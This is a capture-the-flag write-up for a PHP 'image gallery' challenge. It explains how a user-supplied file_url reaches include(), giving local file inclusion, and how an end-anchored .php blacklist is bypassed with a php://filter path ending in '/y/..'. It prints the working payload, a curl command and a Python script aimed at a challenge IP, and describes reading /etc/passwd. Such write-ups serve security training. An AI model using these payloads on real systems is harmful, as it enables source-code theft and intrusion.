Галерея (Gallery)
Галерея (Gallery)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: end_anchored_extension_blacklist_bypass, lexical_dotdot_path_collapse_to_open_blocked_extension, lfi_via_include, php_filter_base64_source_read
Summary
Walkthrough of the CUSTOM Web Галерея (Gallery). Task: a PHP gallery that 'only accepts images' includes a user-supplied file_url, with an end-anchored extension blacklist /\.php[0-9]*$/i. Solution: LFI via php://filter; bypass the .php block by ap
Description
Галерея — Собрал сервис для просмотра картинок по ссылке — принимает только изображения, так что здесь вы в полной безопасности ;)
(English) A "gallery" service that displays images by URL — claims to accept only images, so "you are completely safe here." In reality the file_url parameter is passed straight to PHP include(), giving arbitrary Local File Inclusion. The flag lives inside index.php itself, whose .php extension is blocked by an end-anchored blacklist.
Target: http://62.173.140.174:16123/index.php?file_url=... (PHP / Apache, Dockerized, redeploys periodically).
Analysis
The recovered index.php logic:
php read-only • copy allowedif (preg_match('/\.php[0-9]*$/i', $file_url)) { // BLOCKED: "Недопустимое расширение файла!" } else { if (preg_match('/\.png$/i', $file_url)) { // rendered as <img src=...> (no fetch) } else { include($file_url); // <-- LFI, supports php:// / file:// wrappers } } // CODEBY{REDACTED}
Three branches based on how file_url ends:
- ends in
.php/.php3/.php4... → blocked (/\.php[0-9]*$/i). - ends in
.png→ rendered as an<img>(not fetched). - anything else →
include($file_url)→ arbitrary LFI, includingphp://andfile://wrappers.
Key findings during recon:
file:///etc/passwdis included and printed → LFI confirmed; the "images only" claim is false.php://filter/convert.base64-encode/resource=<file>works for any non-.phpfile (read/etc/passwd, Apache configs →DocumentRoot=/var/www/html, Apache on internal:8000).- The flag is not a standalone file. After brute-forcing ~1500 common flag paths and probing internal services, the only place left is the source of
index.php.
The core obstacle: the blacklist regex /\.php[0-9]*$/i is end-anchored ($). Any path that literally opens index.php ends in .php, so it is blocked. Trailing tricks (., space, /, %2e, %00) pass the regex but PHP cannot open a file with those trailing characters on the filesystem.
The bypass: PHP collapses .. lexically inside php://filter resource paths — intermediate path components need not exist on disk. So craft a path whose string ends in .. (defeating the end-anchored regex) but which lexically resolves to index.php:
php://filter/convert.base64-encode/resource=/var/www/html/x/../index.php/y/..
x/..cancels out.index.php/y/..collapses back toindex.php.- The URL string ends in
..→/\.php[0-9]*$/idoes not match → passes the blacklist. - PHP opens the real
/var/www/html/index.phpand base64-encodes it.
Solution
bash read-only • copy allowed# Read index.php source through php://filter, bypassing the .php extension blacklist curl -s "http://62.173.140.174:16123/index.php?file_url=php://filter/convert.base64-encode/resource=/var/www/html/x/../index.php/y/.." \ | grep -oE '[A-Za-z0-9+/=]{40,}' | head -1 | base64 -d
The base64 blob appears in the page just before the closing </div>. Decoding it yields the full index.php. Because the PHP block is at the end of the file, the decoded source starts with <!DOCTYPE html> and ends with the vulnerable PHP block — and the flag sits in a trailing PHP comment:
php read-only • copy allowed} // CODEBY{REDACTED} ?>
Equivalent Python one-liner:
python read-only • copy allowed#!/usr/bin/env python3 import re, base64, urllib.request url = ("http://62.173.140.174:16123/index.php?file_url=" "php://filter/convert.base64-encode/resource=/var/www/html/x/../index.php/y/..") html = urllib.request.urlopen(url).read().decode() blob = max(re.findall(r'[A-Za-z0-9+/=]{40,}', html), key=len) src = base64.b64decode(blob).decode(errors="replace") print(src) print(re.search(r'CODEBY\{[^}]+\}', src).group(0))
Key Takeaways / Lessons
- Mastering end_anchored_extension_blacklist_bypass, lexical_dotdot_path_collapse_to_open_blocked_extension, lfi_via_include, php_filter_base64_source_read was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-27 • CUSTOM • Галерея (Gallery) • Difficulty: Medium